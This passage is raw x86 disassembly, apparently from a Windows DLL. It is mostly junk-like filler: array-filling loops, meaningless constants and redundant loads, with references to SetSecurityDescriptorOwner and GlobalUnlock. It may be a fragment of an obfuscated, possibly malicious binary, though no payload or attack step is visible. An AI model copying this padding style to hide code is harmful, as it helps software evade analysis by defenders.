cmp dword [ebp - 0x24], edx
jge 0x10037960
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xc38], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10037948
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x100379ef
or esi, 0xffffffff
mov dword [ebp - 0x14], 0x2426f379
mov dword [ebp - 0x48], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xaa0], edi
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100379a6
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edi
setge cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], eax
jne 0x100379a6
cmp dword [ebp - 0x14], eax
jne 0x100379a6
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x18]
cmp eax, edi
setl cl
mov dword [ebp - 0x5a4], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0xc38], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1003796f
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
xor eax, eax
mov dword [ebp - 0x2c], 0xa439beb0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jge 0x10037a16
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x29c], 0x8bbca631
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x100379fe
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037a36
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x17c], 6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037a1e
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037a56
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x63c], 0x627
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037a3e
xor eax, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x2c], eax
jl 0x10037b4b
mov esi, 0xfff8
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x1c], eax
jmp 0x10037a8b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10037a88
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x10037a76
mov eax, dword [ebp - 0x298]
neg eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x298], eax
jg 0x10037ab2
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x2c]
cmp esi, eax
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x17c]
push 0
setge dl
xor ecx, ecx
cmp edx, 0x4ca7
setne cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov ecx, 0xb11f3813
setle dl
cmp edx, 0xfffffffa
sbb eax, eax
inc eax
cmp ecx, eax
sbb eax, eax
xor ebx, ebx
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x29c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setl bl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x29c]
cmp ebx, eax
mov eax, dword [ebp - 0x29c]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0xc7c4
setg al
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x2c]
pop eax
jns 0x10037a67
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 3
pop ebx
mov ecx, dword [ebp - 0x63c]
xor edx, edx
mov eax, dword [ebp - 0x17c]
cmp eax, ecx
push 9
pop eax
setge dl
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], eax
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x9b4], eax
xor eax, eax
mov dword [ebp - 0x18], 0x184c506d
mov dword [ebp - 0x3c], 0xfffffff9
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10037baf
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x80c], 0x74307976
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10037b97
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037bcf
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5ac], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037bb7
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x10037bef
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd30], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10037bd7
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x10037c7e
or esi, 0xffffffff
mov dword [ebp - 0x14], 0x2426f379
mov dword [ebp - 0x48], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9c0], edi
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10037c35
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edi
setge cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], eax
jne 0x10037c35
cmp dword [ebp - 0x14], eax
jne 0x10037c35
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x808], eax
mov eax, dword [ebp - 0x18]
cmp eax, edi
setl cl
mov dword [ebp - 0x5ac], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0xd30], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10037bfe
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
xor eax, eax
mov dword [ebp - 0x40], 0x9a97
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x34], 0xb2391cb4
mov dword [ebp - 0x3c], 0x7b38eb16
mov dword [ebp - 0x50], 0x940c9ba5
mov dword [ebp - 0x34], 0x2249687f
mov dword [ebp - 0x58], 0xfffffff8
mov dword [ebp - 0x4c], 0x1359a703
mov dword [ebp - 0x48], 0x3633e7a3
mov dword [ebp - 0x14], eax
jmp 0x10037ccf
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf64], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10037cbe
mov eax, dword [ebp - 0x50]
mov ecx, 0xffff0001
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
sub ecx, eax
add ecx, dword [ebp - 0x4c]
inc dword [ebp - 0x4c]
cmp ecx, edi
je 0x10037cf2
mov edx, edi
jmp 0x10037cf6
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0xf64]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setne cl
xor edx, edx
cmp ecx, 0xd1f6657e
setne dl
add eax, edx
cmp eax, 0x194
jne 0x10037d21
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10037d23
mov eax, edi
mov edx, dword [ebp - 0x58]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x54]
cmp edx, eax
push 2
setge cl
xor eax, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x30], 0x94643cdf
mov dword [ebp - 0x48], 0xbb0cb8ce
mov dword [ebp - 0x3c], 0x31551da6
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x50], 0x2ca3c0bf
mov dword [ebp - 0x34], 0x371247ad
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x3c], 0x8e92eda8
mov dword [ebp - 0x4c], 0x225189d9
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x54], 0x6883ce71
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10037d97
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x150], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10037d83
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10037dad
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x714], 0x461e7071
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10037d9c
mov eax, dword [ebp - 0x4c]
dec dword [ebp - 0x4c]
test eax, eax
je 0x10037e1e
xor eax, eax
cmp dword [ebp - 0x150], eax
jne 0x10037dd9
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x150]
xor eax, eax
cmp dword [ebp - 0x714], eax
jg 0x10037ddb
mov eax, edi
mov dword [ebp - 0x3c], eax
xor edx, edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, dword [ebp - 0x150]
jne 0x10037dff
mov ecx, edi
cmp dword [ebp - 0x150], eax
jne 0x10037e01
mov ecx, eax
xor eax, eax
cmp ecx, 0xfff9
setne al
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x50]
add eax, 6
je 0x10037e1e
mov edx, edi
jmp 0x10037e22
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x714], edx
mov eax, dword [ebp - 0x30]
cmp eax, edx
setge cl
mov dword [ebp - 0x48], ecx
or ecx, 0xffffffff
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x4c], 0xf07b4bc6
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1a
jne 0x10037eee
mov dword [ebp - 0x3c], 0x8905154
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10037e96
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf7c], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10037e82
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10037ed0
cmp dword [ebp - 0x14], eax
jne 0x10037ed0
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, 0xe229edca
mov dword [ebp - 0xf78], eax
setne cl
imul ecx, dword [ebp - 0x4c]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x30], eax
je 0x10037ed2
mov edx, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
push 0
setl cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1a
pop eax
je 0x10037e70
or ecx, 0xffffffff
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x34], 0xfffffffa
mov dword [ebp - 0x34], 0x8faaaeb9
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], 0xdfddae9
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10037f2b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x724], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10037f16
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10037f4e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x11a4], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10037f36
xor eax, eax
mov dword [ebp - 0x71c], eax
jmp 0x10037fa8
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x34], 0x3921ded6
mov dword [ebp - 0x34], 0x9edbda7f
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x34], 0x2f80c341
mov dword [ebp - 0x34], 0x977a
mov dword [ebp - 0x34], 0x4307e4a9
mov dword [ebp - 0x34], 0x383c67ee
mov dword [ebp - 0x34], 0xa32f3f60
mov dword [ebp - 0x34], 0xd0bb94d0
mov dword [ebp - 0x34], 0xff839e07
inc dword [ebp - 0x3c]
dec dword [ebp - 0x71c]
cmp dword [ebp - 0x71c], 0xffffffe7
je 0x10037f56
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0x983ca307
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10037fde
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf94], 0x72fd4914
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10037fc6
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10037ff4
cmp dword [ebp - 0x18], ecx
jl 0x10037fe3